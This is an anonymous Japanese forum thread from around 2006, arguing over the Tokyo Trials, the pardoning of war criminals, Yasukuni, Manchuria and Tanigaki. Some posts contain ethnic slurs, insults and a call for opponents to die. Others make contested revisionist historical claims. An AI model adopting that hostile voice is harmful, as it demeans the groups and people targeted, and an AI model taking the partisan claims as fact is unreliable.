　　　 Ш┃┃　（／）ｨ'ミ,彡ﾐ .┃┃Ш　　　 千代に八千代に
　　　 .|| ┃┃　（／）ﾐf_､ ,_ヾ;;┃┃.||
　　∧＿∧　　 （／）ﾐ　L、 t彡　　　　　　　さざれ石の
　 （　・∀・）　　（／） ヽ一_>'i
　 （つ　　つミ　（／）（⊃⊂ ）　　　　　　　　巌となりて
　　|＿|＿|＿�D（／）_|＿|＿|＿＿
　 ／／／／／ﾉ,,,,,,ヽ　／／／／|　　　　　苔の生すまで
／／／／／／／／／／／／ 　|
|￣￣￣￣￣￣￣￣￣￣￣|　　|
| 　 　　 　靖　　国 　 　 　　 |

まったくこんな奴が総理になると百害あって一利無しだな
村山の再来か？

>>778
そもそも、こんな条文が入るほうが異常なのであって、
「いわゆる戦犯」を日本独立後も牢屋に閉じ込めておこうという目的で
この条文が作られたと見るのが妥当。
本当に裁判自体を受け入れさせたかったら、
accepts the trialなどの一文を入れるはずだし。

そう考えると、懲役刑、禁固刑などの判決は受け入れろよ、
勝手に外に出すなよと、連合国側が考えて一文入れたと解釈するのが
より合理的ではないかと考えるわけだが。

そうすると裁判を受け入れた云々の話には行かないはず。

＞日本人として総括

私は難しいことは言わないです。靖国に英霊がまつられている。それは、
わかります。しかし、戦死者の遺骨を放置するとは国の恥ではないか。
それも、東京都（硫黄島）に1万3000人の遺骨が未回収。
回収は一般団体がしている。これが、今の日本だ。
戦時中は、硫黄島の徹底抗戦の玉砕を手本のように言っていた。
利用されるだけ利用され、遺骨も回収されない。
本土決戦なんて唱えていた連中は、身の保身以外何もあるとは思えない。

>>797

(　ﾟДﾟ)ｙ−~~ リアルコヴァかよｗあまり笑わすなよｗｗっうぇうぇｗ

重慶は仕方ないよね
むしろ原爆も広島なんかじゃなくて
東京の軍需工場にぶち込めば良かったのに

>>801
そもそもだ。満州の権益をアメリカと分け合うべきだった。
アメとの交渉時に英国をひきずりこめれてたら、
権益分割においてそれなりの結果が得られていたろう。

当時の日英同盟にはそれほどの価値があった。

>793
皮肉で書いたんだよ

>>734
日本国が国連に復帰した時、日本国を代表して国連総会で復帰演説をしたの誰か知ってる？
会場万雷の拍手をあびながら入場したのは、

『　A級戦犯として有罪の判決を受け、巣鴨プリズンに投獄された後に釈放された　重光葵　』　だ。

意味判る？ いわゆるＡ級戦犯を日本国の代表として国連が暖かく迎えたんだよ。
コレを戦犯の名誉回復と言わんで何と理解する？
戦争をリアルで体験した日本国民の大多数が「いわゆる戦犯」は犯罪者ではないと認識していた事も4度の国会決議や
4000万人の署名を集めた国民署名大運動からも明らか。

ね？戦後史をちょっと勉強するだけで、学校や日教組や文科省が隠していたことが
分かるの。中日新聞の論説委員さん、分かる？ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ

日本の東京裁判における戦犯の赦免は、
日本の国会決議⇒旧連合国側への外交努力
⇒サンフランシスコ講和条約第１１条２項
「東京裁判参加国の過半数の同意による赦免」適用
⇒１９５６年３月末、Ａ級戦犯全員を赦免
⇒１９５８年５月末、Ｂ・Ｃ級戦犯全員赦免＆釈放
という手続きを経ている。
単なる決議ではなく国際的な講和条約の規定に基づくもの。
「単なる国会決議で国内法的に赦免されているだけだ」と大嘘を突き通す反日マスコミ
や反日馬鹿サヨは
　1　0　0　回　位　死　ね　。

>797
>787
『東大一直線』『東大快進撃』も読んで

>>785>>789
レス有り難うございます。
中国の攻撃が避けえなかったとしても、何とか局地的戦闘で収拾をつけて泥沼の戦争を防ぐことはできなかったんでしょうか？
それとももう政府首脳には軍を押さえる力もなかったのでしょうか？
あの時点なら政府首脳が本気で軍を押さえる気でいたなら、何とか戦線拡大を避けられた気がするのですが、甘いでしょうか？

>>803
は？
なんかﾜｶﾝﾈｰけど、

軍需工場が爆破された。

そういうことだ。

>>812
重光はアジア独立・戦争反対だからね
何でA級戦犯なのか分からないし

結構、特例じゃない？

>>760
＞関東軍は考えてたか。
＞戦争状態になって既成事実化を望んでたんじゃないのか？

満州事変について言うと、関東軍は一旦は、日本政府の不拡大政策を受け入れ
停戦するつもりでいたんだよ。
しかし、停戦予定日の前日にアメリカ側から、その旨がプレス向けに発表されてしまい
関東軍は「作戦が駄々漏れじゃないか」と激怒して進撃を再開・・。

軍・日米両政府の行き違いによる不幸だな

>>803
上海事変では列強は参戦してないだろ。
だから日本軍が強行に権益拡張してるように受け止められ、列強から
強く警戒されるようになってしまった。

「当時の価値観を今の価値観で裁くのはおかしい」って暴論だよ。
「ああはならないようにしよう」って考えることの何がいけないんだか。

:.:.:.:.:.:.:.lヽ:,}｀ヽ､:.:i,ヾ＼:.:.:.l ﾄ｀丶:ヽ:.:.:l'､:丶
:.:.:.:.:.:.i:l　V,=＝≧､、 ､＼l　_∠^N:.ﾄ:.l ＼!
:.:.:.:.::::}' ／ ,r''"でi)ヾ''='　 ｹr｡ヽ !:.:l ﾞi!
:::,':::::::l　 　{,　　 　 ﾉ　　　ヽ二ﾉ i,jﾘ
:::､:::::::l　　 ｀ ‐ '' "　　　　 　丶､ V
rュ:::::::l　　　　　　　　　　　　　 / ',
f-う､::::',　　　　 　 　 　 　　 '^ ' ､ ',　うおっ、まぶしっ！
　「(ヽ:トi　　　　　 　 , ――---r'　l
', ヽ ヽゝ　　　　　 ／_,,.. -―､‐f　 ,'
::＼｀"　〉　　　　 （~´: : : ,　-┴'　/
､::::::ゝ‐' ',　　　 　 `'‐ '"´ ,,..::'　 /
>ぅ-y'　　'、　　　　　　　　　 　 ,'
,r‐ｧ'　　　丶､、　　　　　　　 　 !
　 {,　　　　　　｀`　−- ､、＿,ノ
　 丶　　　　　　　　　 人

愛国戦隊　大日本
http://www.youtube.com/watch?v=lM6tO0icvqk


1998年12月16日放送 ここがヘンだよ日本人 植民地支配への謝罪とは･･･。ゾマホンの正論
http://www.youtube.com/watch?v=-tDNx3GobLg

[事件] 三菱重工爆破事件　東アジア反日武装戦線　テロ活動の一環。
http://www.youtube.com/watch?v=3EhdmtKKKdc

>>814
馬鹿な天皇が立憲君主制だの言って
軍を抑えないからな　政党はもうぐだぐだだし

>意味判る？ いわゆるＡ級戦犯を日本国の代表として国連が暖かく迎えたんだよ。
>コレを戦犯の名誉回復と言わんで何と理解する？

彼を大きな拍手で迎えたわけではない。
日本国民に対する拍手です。間違えないように。

>>811
そうか？面白いヤツだなｗ気にいったよ。
つまり、「ルールを守るならお互いが」を認めるわけだな？
だったら特アの連中にも自らの戦争犯罪を反省してもらいましょうよ。
戦争は、自分が好む好まざるに関わらず、相手の都合で起きる場合もある。
戦争を回避するには、お互いが反省する（不可能だが）もしくは、
相手に攻撃されないように自衛手段を講じる。これしかないと思うよ。

>>801

(　ﾟДﾟ)ｙ−~~ あれだけ金を掛けてあげたのに、何故撤退する必要が？？？？

>>804

(　ﾟДﾟ)ｙ−~~ 東亜＋の某コテなだけです・・・最近ごぶだけど・・・

>>814

(　ﾟДﾟ)ｙ−~~ いや、そもそも志那戦線に「泥沼」の形容は合わんぞ。負けてもおらんし。

>818

(　ﾟДﾟ)ｙ−~~ あれ？もしかして第２次と勘違いしてない？

谷垣消えろ

世論調査で結果は見えたのに、
まだ負け戦を続ける気かよｗ

東京裁判は、戦争の片をつけるために行なったものだろう。
中国の場合はそこから戦争責任が始まっている。

>>812
おい馬鹿
お前何も読まずにレスしてんのか？

要は殺されたA級には講話条約のどの規定も適用されていないと言う話だわかったか？
文句があるなら日本政府に言え馬鹿ウヨｗｗｗ

受諾前は徹底抗戦。
「非常に強力な普通爆弾」が投下された後も
原爆を認めようともせず、謀略だの、戦争指導がどうのと難癖つけ、
天皇ご乱心で、クーデターまで画策し、
受諾が決まれば、マッカーサーが来る前に書類焼却、証拠隠滅で責任回避に必死。
そんな卑怯な輩を支持する理由はない。
アメリカは日本の解放軍。

>>804

(　ﾟДﾟ)ｙ−~~ 東亜＋の某コテなだけです・・・最近ごぶだけど・・・



やっぱ東亜にいたか！　　なぜヌー速では身を隠す？


ヌーだと論がまとまらないよ？　単発IDでかきにげ多いし。

>>801
それは不可能だよ、満州は日本防衛のための戦略的に重要な地域であって、
満州から日本軍が撤退すれば日本本土が重大な脅威にさらされる事になって
しまうし、それに当時の日本は鉄鉱石を満州からの輸入に頼っていた、
もし満州が国民党軍に奪われればブロック経済体制の国際環境の中では
他に鉄鉱石を輸入する事はできないから、日本に鉄鉱石が入らなくなって
しまう事になるから、日本軍は絶対に満州から撤退する事はできない状況だった。
松岡さんが言った満蒙は日本の生命線という言葉は決して大げさではなかった。

受け入れたけど、検証すること自体否定するのは間違いだろ
検証したうえでおかしい事はおかしいと言うのは当たり前だろうが

>>821
他のことで天皇が介入したら叩くくせに都合のいい馬鹿だな

>>819
＞それで日本のやったことが軽減されるわけじゃないだろうに

で、日本はなにをやったんだ？
ちゃんと答えろよなｗｗ

間違ったものでも、決まったことは従うべきですか。
そんな事言う奴が昔からの官僚の癒着構造にメスを入れられるとは到底思えませんなあ。

>>824
中国みたいな縦深のある土地で
奥へ奥へ攻めて、補給路を米航空隊に叩かれ
毎年何万も死んでれば、戦略的には敗北に近いんじゃ？

戦術レベルでいくつか勝とうとも、結局国府は謝らなかったじゃん
それこそ太平洋方面にも、満ソ国境にも兵隊送れなかったし

>⇒サンフランシスコ講和条約第１１条２項
「東京裁判参加国の過半数の同意による赦免」適用
>⇒１９５６年３月末、Ａ級戦犯全員を赦免
>⇒１９５８年５月末、Ｂ・Ｃ級戦犯全員赦免＆釈放

この年代に何があったかわかるわな。赦免はアメリカの力で行われた。
日本を利用するための赦免。

対立候補の誰も東京裁判を“全”否定などしてないと思うのですが……

敗戦国なんだから受け入れざるをえないじゃないか
当たり前のことをハニー垣は何をいまさら

>>831
適当に満州の権益を他の列強に分け与えていたら結果は違ったろうな。
英国にすがりついていれば、全て持っていかれるという悪夢は回避できただろう。

と俺などは思っている。

>>830

(　ﾟДﾟ)ｙ−~~ 仕事忙しくて、久々に来たら、ν速の電波にあてられますたｗ(○Д○) ﾉｼ

>>833
今の天皇制と当時の天皇制はまるで違うからね

その点、最近の天皇のメモなんかを理由にして
靖国行くな！　ってのは完全におかしな話だね

実態の無い企業を虚業というなら、
靖国問題は虚問だな。

マスコミが騒いでる、それが諸悪の根源。
それ以上でも以下でもない。

>>834
一般市民を殺したり、戦争始めたりしたでしょ。
他の国もやってるなんて言い訳は通用しないよ。

>>840

(　ﾟДﾟ)ｙ−~~ その辺りが、日本人的な融通の利かない面だね。


　　　　　　満洲鉄道もアメリカに少し分け前与えていたら・・・・

>>814
＞政府首脳には軍を押さえる力もなかったのでしょうか？

これは分かりません。
たとえば、その気があれば今年以前にも首相の１５日参拝できたでしょうかね。
ヤル気ならできたとも言えるし、辞任へ追い込まれたとも思えるし。

ただ、当時の関東軍は戦線拡大を望んでいたとも思えるのですが、そうすると
軍部官僚の暴走が亡国へ向かった要因なのだろうとは思います。

(　ﾟДﾟ)ｙ−~~

なるる



中国】南京大虐殺記念館の幹部、日本で展示品買付け（笑）

終戦記念日が近づき、小泉純一郎首相の靖国神社参拝の有無や
是非が論議されるなか、歴史事実の検証上論争の多い南京事件
をテーマにした中国・南京市の「南京大虐殺遭難同胞記念館」の
幹部らが来日し東京や大阪の古書店や骨董店で当時の資料を
多数購入していたことが１１日、わかった。
http://www.zakzak.co.jp/top/2006_08/t2006081126.html
-------------

つまり、中国にはまともな資料が無いわけですね（＾＾）ｂ

>>801
＞○軍部の面子としては

＞日本としては、満州から撤退すべき状況だったんだよ。

満州における権益それ自体は否定する必要はないだろ
リットン調査団ですら、「日本の侵略と単純化できる話じゃない」と認めてるわけで。
「紫禁城の黄昏」あたり嫁

>>814
残念ながら、大陸での戦線拡大を防ぐ事は不可能でした、当時の日本政府は
なんとか停戦しようと必死で努力しましたが、何度停戦協定を結んでも、
しばらくすると中国側が停戦協定を破って日本軍に攻撃を仕掛けてきたし、
通州事件によって何の罪も無い日本の民間人が中国軍によって大量虐殺され、
日本はやむをえず中国側との全面戦争を決意せざるをえなかったのです。

>>816
いや、違う。

みんなそうだよ。アジア独立戦争反対。
いわゆるA類ということでも、全員一致してるし。特例でも何でもない。

大亜戦争を一番けしかけていたのは、コミンテルンに工作された朝日新聞だし。
東条英機は開戦せざる得ない状況に追い込まれたが、その
お膳立てをしたのは、ソ連のスパイ、ゾルゲとつるんだ朝日新聞記者の尾崎が
戦争に煽動した近衛文麿でしょ。

【在日】「私は徴兵で日本に来たんだよ」と嘘をつく母と、「その時代に徴兵なんかないの」と嘘を暴く息子

「私は徴兵で日本に来たんだよ」と主張する母親と、「嘘を言うな」とたしなめる息子。
ずーっと探していた動画なんですが、YouTubeで見つかったのでリンクを貼っておきます。


http://www.youtube.com/watch?v=lCbB1BAcN3w&search=korea

>>849
じゃ残念なことに全面戦争をしてしまい
結果、中華民国に敗北
これは中国の非常に巧みな外交ですね

谷垣ってこんな分別つかない人間だっけ？
大将の意向か？

受け入れたのはサンフランシスコ講和条約の条件だと思ってましたが、
これと東京裁判ってリンクしてるんですか？

>>844

(　ﾟДﾟ)ｙ−~~ おまえはアレか？

一般市民を殺したのも志那が先（通州事件とかな）だし、
戦争始めたのも内戦で漁夫の利を狙った共産党軍の仕業だと何回言えばｗ


>>847
＞歴史事実の検証上論争の多い南京事件 をテーマにした
＞中国・南京市の「南京大虐殺遭難同胞記念館」の 幹部らが来日し
＞東京や大阪の古書店や骨董店で当時の資料を多数購入していたことが１１日、わかった。

(　ﾟДﾟ)ｙ−~~ ・・・・・・・・・おいっ！志那の学者さん達・・ｗｗｗｗｗｗｗ

受け入れざるをえなかった事も含めてリンチ裁判だったんじゃないかと思うんだが

>>844
＞一般市民を殺したり、戦争始めたりしたでしょ

だから、具体的に述べろと言ってるだろｗ
日本語が不自由な奴だな

支那に於いては、そもそも支那側による邦人の虐殺行為が頻発し
居留民保護のために軍は動いたんだろ

＞一般市民を殺したり
便衣兵を用いた支那に非があるなｗ

>>850
戦前も戦後も、朝日の外国引き込み工作に変わりは無い訳か。

>>822
論点のすり替え
ｷﾀ━━━ヽ(ﾟ∀ﾟ)ﾉ━( ﾟ∀)ﾉ━(　　ﾟ)ﾉ━ヽ(　　)ﾉ━ヽ(ﾟ　　)━ヽ(∀ﾟ )ﾉ━ヽ(ﾟ∀ﾟ)ﾉ━━━!


重光を始め、A類〜Ｃ類の元戦犯を釈放し、赦免したのは日本国民の総意だよ。
つまり、重光への拍手は重光個人と、お前の言うように元戦犯を釈放、赦免した
日本人への拍手さ。ｗｗ

>>831
それは「満州の権益を日本が守れる」という前提が成立するならば正しい。

だがその前提が成立しなければ、何の意味もないのではないか。

>>849
ものは言いようだなw

クズが

谷垣は去年ね12月に【あの記事】を掲載した週刊誌を訴えたのか？

＞支那に於いては、そもそも支那側による邦人の虐殺行為が頻発し
＞居留民保護のために軍は動いたんだろ
イスラエル、パレスティナ問題にそっくり。

結構疲れたな・・・皆さん夜型っすね

>>840
ただ、満州の権益は日露戦争の頃まで遡るからな。
講和条約の内容に不満で、焼き討ちまで起こった歴史がある。
そんな中で数少ない戦利品の一つが満鉄権益。
もしもそんな満州に対して日本に強い思い入れがあったとすれば、
満州権益を外国に渡そうとすると、確かに外交的には最上策だったとは思うけども、
その代わり国内が保たなかったんではないかな。
少なくともマスゴミが煽動することは疑いないだろうね。

>>852

(　ﾟДﾟ)ｙ−~~ お前もアレか？日本は志那に負けてないぞ。まるで朝鮮進駐軍と同レベルの考えだな。

>>860

(　ﾟДﾟ)ｙ−~~ 言葉アソビつまんね。前提が成立しようがしまいが関係ない。

かなりぬむいよ。

頭働いてない。


今日一日がんばれるかｃなあ

　　　　　 __,,,,.. --_─-_-､-､,,,,__
　　　　,r'´-_-_‐_‐_‐_‐-､`-､　ヾ`ヽ､
　　 ／,r',.-_‐_‐_‐_‐_-_　ヽ　､`ヾ　､ヽ
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>>867
>>836に書いたんで読んだ上で
間違いの指摘をお願いします

>>846
政府首脳、軍首脳がそういう一部の軍部官僚の増長を何とかとめ、支那全土への戦線拡大を防ぐことができたなら満州権益もその全てを手放すことはなかったのでしょうか？
相手からの攻撃とはいえ、支那事変を起こさなければと思うと

>>840
だからこそ、後に日本はアメリカとの交渉において乙案を用意して、なんとかして
アメリカとの開戦を避けるために、大幅な譲歩をする覚悟だったわけだけど、
アメリカ側はハルノートを日本に叩きつけてきたために日本側はやむを得ず
アメリカとの開戦を決意せざるをえなくなったのですよ。

谷垣って、世論と逆の事言ってればもてはやされた一昔前の古き悪しき時代感覚のままなんじゃねーの？

>>866
民主主義社会で育った俺だが、
歴史には「ご聖断」が必要なタイミングってのもあるよなあとしみじみ思うよ。

まあ、統治者ではないのだから厳しかったろうけどねえ。

財相の癖に、アジアの通貨を統一すべきとか言ってるしな。
まっっっっっっっったく報道されないけど。

>>827
> 東京裁判は、戦争の片をつけるために行なったものだろう。
> 中国の場合はそこから戦争責任が始まっている。

つーか、支那の場合、国民党が当事者で、支那共産党は全く
関係ないんだよね。


>>832
> 受け入れたけど、検証すること自体否定するのは間違いだろ
> 検証したうえでおかしい事はおかしいと言うのは当たり前だろうが

その通り。しかも受け入れたのは判決だけで、東京裁判史観を受け入れた
わけじゃない。でなければ、国会の全会一致の決議と全国民４０００万の
署名で、元戦犯を釈放、恩赦するわけないし。

マッカーサーも２７年（１９５２）の米国議会聴聞会で，大東亜戦争は日本の
自衛戦争だって証言している。マウントバッテンも東京裁判は誤りだって
言っていた秘密文書が去年発見された。鬼畜米英の両将軍もそう言ってんだから、
谷垣や反日マスコミが何を言っても無意味。

日本は東京裁判史観により拘束されない　――サンフランシスコ平和条約の正しい解釈
http://ime.nu/www.nipponkaigi.org/reidai01/Opinion3(J)/history/sato.htm
　大東亜戦争の終結直後に連合国占領軍によって強行されたいわゆる東京裁判（極東国際
軍事裁判）が、国際法に違反する政治的茶番劇であったということは、近年においてすっかり
日本国民の常識として定着した観があります。しかし、その反面、あくまでも東京裁判を肯定
して、その判決中に示された日本悪玉史観を奉持し続けたいと考えている人々もいることは
事実のようです。そのような人々は、えてして「日本は、サンフランシスコ平和条約十一条の
中で東京裁判を受諾しているから、東京裁判史観を尊重する義務がある」と主張する傾向が
あるように見受けられます。最近では、政府部内にも同じような考え方で東京裁判史観に拘泥
する人が若干いることが判明しています。しかし、平和条約十一条を右のように解釈すること
は、国際法理上、間違っています。その理由を以下に説明します。
　　　　　（中略）
　要するに、十一条の規定は、日本政府による「刑の執行の停止」を阻止することを狙ったもの
に過ぎず、それ以上の何ものでもなかったのです。日本政府は十一条の故に講和成立後も、
東京裁判の「判決」中の「判決理由」の部分に示されたいわゆる東京裁判史観（日本悪玉史観）
の正当性を認め続けるべき義務があるという一部の人々の主張には、まったく根拠がありません。
　筆者は昭和六十一年八月にソウルで開催された世界的な国際法学会〔ＩＬＡ・国際法協会〕に
出席して、各国のすぐれた国際法学者たちと十一条の解釈について話し合いましたが、アメリカ
のＡ・Ｐ・ルービン、カナダのＥ・コラス夫妻（夫人は裁判官）、オーストラリアのＤ・Ｈ・Ｎ・ジョンソン、
西ドイツのＧ・レスなど当代一流の国際法学者たちが、いずれも右のような筆者の十一条解釈に
賛意を表明されました。議論し得た限りのすべての外国人学者が、「日本政府は、東京裁判に
ついては、連合国に代わり刑を執行する責任を負っただけで、講和成立後も、東京裁判の
判決理由によって拘束されるなどということはない」と語りました。これが、世界の国際法学界の
常識なのです。

>>845
＞満洲鉄道もアメリカに少し分け前与えていたら・・・・

これは日本人特有のメンタリティ故でしょ
多大な犠牲を払って得た鉄道権益を、金で譲っていいのかって
小村寿太郎あたりが猛反対して、アメリカに譲る予定を潰してしまったわけで。
日本人て生真面目すぎるんだろうね

>>871
俺なんかは、ハルノートが最後通告だとは思えないので
まだ交渉の余地が残っていたのではないかと思ってる。
当時の黄色人種迫害の風潮や黄禍論などもあったとはいえ、
英とは同盟関係があったんだから、そこを利用できなかったもんかなと。

まさしく、後の祭りなんだがな。

>>873
帝国憲法一条
帝国は天皇これを統治す。ですよ
統治権って無かったの？